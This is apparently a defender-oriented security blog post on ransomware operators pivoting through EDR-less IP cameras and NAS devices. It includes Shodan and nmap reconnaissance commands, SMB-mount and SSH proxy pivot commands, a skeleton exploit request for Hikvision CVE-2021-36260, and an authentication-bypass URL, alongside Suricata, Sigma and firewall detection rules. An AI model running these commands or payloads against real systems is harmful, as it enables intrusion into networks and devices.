The EDR Dead Zone: How Attackers Pivot Through Cameras and NAS Devices

The EDR flagged the ransomware binary. It quarantined it. The security team thought they’d stopped the attack.

They hadn’t. Akira had already pivoted to a webcam.

TL;DR

IoT devices (cameras, NAS boxes, printers, VoIP phones) run on your network but have no EDR agent — attackers know this

Akira ransomware successfully bypassed EDR by pivoting through a Linux-based IP camera and encrypting file shares from it

CVE-2021-36260 (CVSS 9.8) gives unauthenticated RCE on Hikvision cameras — zero clicks required; CISA KEV-listed since 2021, still 80,000+ devices exposed online

The attack chain is: internet recon → default creds or CVE exploit → shell on IoT → mount internal SMB shares → deploy payload

Detection requires NDR/network anomaly monitoring — your EDR will never see this

Why This Matters to You

Your EDR covers laptops, servers, and workstations. That’s the list your vendor gave you, and it’s probably accurate. But every IP camera, NAS appliance, VoIP phone, and network printer on the same VLAN is a fully networked computer with no security agent.

Attackers figured this out. If your EDR is good enough to block a payload on Windows, the next move is to find something on the network that doesn’t have an EDR. That device becomes the attack platform.

This isn’t a theoretical threat. It happened, it’s being tracked by CISA, and the vulnerable devices are still online by the millions.

The Akira Case: EDR Blocked, Webcam Didn’t

In early 2025, S-RM published an incident report that should be required reading for every SOC analyst.

The attack flow looked like this:

Akira gained initial access via a compromised RDP credential
A ransomware binary was downloaded to a Windows server
The EDR detected and quarantined the binary — correctly
Akira didn’t give up. They scanned the internal network
They found an IP webcam — Linux-based, no EDR, running an outdated firmware with a remote shell vulnerability
They gained shell access to the camera
From the camera, they mounted the organization’s SMB network shares
They deployed Akira’s Linux encryptor directly from the camera
Files were encrypted. EDR never fired. The camera’s traffic wasn’t monitored.

The security team had done everything right on the Windows side. The camera was the hole.

This isn’t an edge case. It’s a template. Ransomware operators, APT groups, and opportunistic attackers are now actively scanning for IoT devices as pivot points precisely because they’re invisible to endpoint security.

The EDR Dead Zone Explained

EDR (Endpoint Detection and Response) works by installing a software agent on a device. That agent monitors processes, file operations, network connections, and memory — and can quarantine threats in real time.

The problem is simple: you can only install an agent on a device that supports it.

Most IoT devices run stripped-down Linux, custom RTOS firmware, or proprietary embedded OS. They don’t support third-party agents. You can’t install CrowdStrike on a Hikvision camera. You can’t put a Defender sensor on a QNAP NAS.

Here’s what that dead zone looks like in a typical enterprise:

Device	Supports EDR	Network Access	Typically Patched
Workstations / servers	✅ Yes	Full	Usually
IP cameras	❌ No	Full	Rarely
NAS appliances	❌ No	Full	Rarely
Network printers	❌ No	Full	Almost never
VoIP phones	❌ No	Full	Almost never
Smart TVs / displays	❌ No	Full	Almost never

The last column is the real problem. These devices are bought, plugged in, and forgotten. Firmware updates require manual effort and often break functionality. Default credentials are left in place. Critical CVEs go unpatched for years.

The Attacker’s Playbook

Phase 1: Reconnaissance

Before touching anything, attackers map the target’s IoT footprint from the internet.

Shodan is the primary tool. A search for product:hikvision or port:8000 country:UK returns thousands of directly accessible camera management interfaces. Many still run vulnerable firmware versions.

# Shodan CLI — find exposed Hikvision cameras in UK
shodan search 'product:hikvision country:UK' --fields ip_str,port,org,product

# Search for QNAP NAS devices with known vuln signatures
shodan search 'product:QNAP port:8080' --fields ip_str,port,org

The 2022 CYFIRMA analysis found over 80,000 vulnerable Hikvision cameras still exposed on the public internet across 100+ countries — and that number hasn’t meaningfully dropped. An estimated one million Hikvision cameras are installed on UK government and public buildings alone.

Once inside a network (via phishing, VPN vuln, initial access broker, etc.), attackers repeat this recon internally with tools like nmap or masscan, fingerprinting IoT devices by their open ports and HTTP banners.

# Internal recon — find cameras and NAS on local network
nmap -p 80,443,554,8000,8080,9000 --open -sV 192.168.0.0/16 -oN iot_scan.txt

# RTSP (camera stream) discovery
nmap -p 554 --open 192.168.0.0/24

Phase 2: Initial Compromise

With targets identified, the attacker has three main options:

Option A: Default credentials. The most common path. Hikvision ships cameras with admin/12345 as default. Many deployments never change this. Tools like hikvisionTool or simple credential stuffing scripts automate this across hundreds of devices.

Option B: CVE exploitation. For devices with changed passwords, known vulnerabilities provide unauthenticated access.

Option C: Network position. If the attacker already has access to the same VLAN from another compromised device, authentication is often bypassed entirely through protocol abuse or unprotected management interfaces.

Phase 3: The Pivot

Once the attacker has shell access to the IoT device, they use it as a launch platform:

# From a compromised camera — mount internal SMB share
mount -t cifs //192.168.1.50/data /mnt/share -o username=user,password=pass

# Or use the device as a SOCKS5 proxy to reach internal systems
ssh -D 1080 -N attacker@camera-ip

# Port forward to reach an internal service
ssh -L 3389:192.168.1.100:3389 attacker@camera-ip

The attacker can now:

Read and exfiltrate data from internal shares
Deploy payloads to networked systems (as Akira did)
Use the device as a persistent C2 relay that survives endpoint reimaging
Scan deeper into the internal network from a trusted position

The CVEs You Need to Know

CVE-2021-36260 — Hikvision Command Injection (CVSS 9.8)

This is the one that made headlines. A zero-click, unauthenticated RCE in Hikvision’s web server, caused by insufficient input validation in the /SDK/webLanguage endpoint. An attacker sends a crafted HTTP request — no credentials needed — and gets remote code execution.

CVSS: 9.8 Critical
Affected: 100+ million devices across 2,300+ organizations in 100+ countries (per IPVM)
CISA KEV: Listed — actively exploited
Patch available: Yes, but adoption has been slow

# Conceptual — CVE-2021-36260 exploit structure
import requests

target = "http://CAMERA_IP"
payload = "$(command)"

# The vulnerable endpoint accepts OS commands in XML body
r = requests.put(
    f"{target}/SDK/webLanguage",
    data=f'<?xml version="1.0"?><language>{payload}</language>',
    timeout=5
)

CVE-2017-7921 — Hikvision Authentication Bypass

Older but still active. Added to CISA KEV in March 2026 — meaning attackers were exploiting it against real targets right now. Allows unauthenticated access to camera configuration, user credentials, and snapshots.

# Authentication bypass — access config without credentials
http://CAMERA_IP/system/deviceInfo?auth=YWRtaW46MTIZNDU=

QNAP NAS — Recurring Vulnerabilities

QNAP devices are targeted almost as aggressively as Hikvision cameras. Notable CVEs include:

CVE-2022-27596 (CVSS 9.8) — SQL injection in QTS allowing unauthenticated RCE
CVE-2023-47218 — command injection in QNAP VioStor NVR
CVE-2024-27130 — buffer overflow in QTS (2024, actively exploited by ransomware groups)

QNAP NAS devices are particularly valuable pivot targets because they hold backups, file shares, and often have direct SMB access to the entire network.

Detection: What You Can Actually See

Your EDR won’t help here. But you’re not blind — you just need to look at the right layer.

Network Detection and Response (NDR)

NDR tools (Zeek, Suricata, Darktrace, ExtraHop) analyze network traffic rather than endpoint behavior. They can catch the IoT pivot even when EDR can’t.

What to look for:

# Zeek — detect unusual outbound connections from camera IP range
# (cameras should only talk to NVR and management interfaces)

# Suricata rule — detect SMB connections originating from camera subnet
alert smb any 192.168.10.0/24 -> any any (
  msg:"SMB connection from IoT subnet";
  flow:established,to_server;
  sid:9000001; rev:1;
)

Anomalies that indicate compromise:

Camera IP initiating outbound connections to non-NVR IPs
SMB/CIFS traffic originating from camera or IoT subnet
SSH sessions from IoT devices (cameras don’t normally SSH out)
Large data transfers from NAS to external IPs during off-hours
New device appearing on network without corresponding DHCP reservation

Baselining Normal IoT Behavior

The key to NDR for IoT is knowing what normal looks like. A camera should:

Receive RTSP stream requests from NVR only
Send syslog to a known logging server
Occasionally reach out for NTP sync
Never initiate SMB, RDP, or SSH sessions to workstations

Any deviation from this baseline is worth investigating.

SIEM Rules

# Sigma rule — SMB from IoT network segment
title: SMB Traffic from IoT Subnet
status: experimental
logsource:
  category: network_connection
detection:
  selection:
    dst_port:
      - 445
      - 139
    src_ip|cidr: '192.168.10.0/24'  # IoT VLAN
  filter_allowed:
    dst_ip: '192.168.10.20'          # Known NVR — allowed
  condition: selection and not filter_allowed
falsepositives:
  - NAS devices with legitimate Windows share access
level: medium

What You Can Do Today

These aren’t aspirational. You can start all of them this week.

1. Inventory your IoT devices You can’t protect what you can’t see. Run an nmap sweep of your entire network. Every device without an EDR agent is a potential pivot point.

2. Segment IoT into its own VLAN IoT devices should live in a dedicated network segment with firewall rules that prevent east-west traffic to workstation and server VLANs. The Akira attack would have failed with proper segmentation — the camera couldn’t have reached the SMB shares.

# Conceptual firewall policy for IoT VLAN
ALLOW IoT_VLAN -> NVR_SERVER (port 554/RTSP)
ALLOW IoT_VLAN -> NTP_SERVER (port 123/UDP)
DENY  IoT_VLAN -> CORP_VLAN (all ports)
DENY  IoT_VLAN -> INTERNET (outbound, except update servers)

3. Change default credentials immediately Use a password manager to generate unique credentials for every device. Document them in a secured location. This single step eliminates the easiest attack vector.

4. Check CISA KEV for your device models CISA’s Known Exploited Vulnerabilities catalog lists CVEs that are being actively exploited right now. Search for Hikvision, QNAP, Dahua, Axis, and any other IoT brands in your environment. If you have unpatched devices matching those CVEs, patch or replace them.

5. Enable network detection If you don’t have NDR tooling, Zeek + Suricata on a network TAP is a solid open-source starting point. Even basic firewall logging with SIEM correlation will catch obvious IoT anomalies.

6. Audit outbound traffic from IoT subnets Pull a week of firewall logs. Filter by source IP for any device in your IoT range. Any connection that isn’t to NVR, NTP, or an approved update server is worth a second look.

The Bigger Picture

The Akira case isn’t an outlier. It’s a signal.

Attackers are operationalizing IoT as an attack surface because the economics make sense: cheap tooling, massive exposed attack surface, no EDR coverage, and defenders who don’t monitor it. The 80,000+ exposed Hikvision cameras aren’t all owned by careless operators — many belong to enterprises that simply don’t have a process for IoT lifecycle management.

The fix isn’t complicated. Segment, inventory, patch, and monitor. But it requires treating IoT devices as the fully networked computers they are — not as appliances that someone else manages.

Your next penetration test should include IoT. And your next detection exercise should ask: what would Akira’s camera pivot look like in our logs?

PSO — When Printers Become the Pentester’s Blindspot — Same blind spot problem, different device category: network printers as forgotten attack surface
AV vs EDR vs XDR: What’s Actually Different? — Understanding what EDR covers — and what it doesn’t
C2 Without Owning C2: Using Legitimate Services for Command and Control — Related persistence technique: using IoT as relay infrastructure for C2 traffic
Modern Attack Techniques 2026 — Hub article covering the full landscape of current attacker tradecraft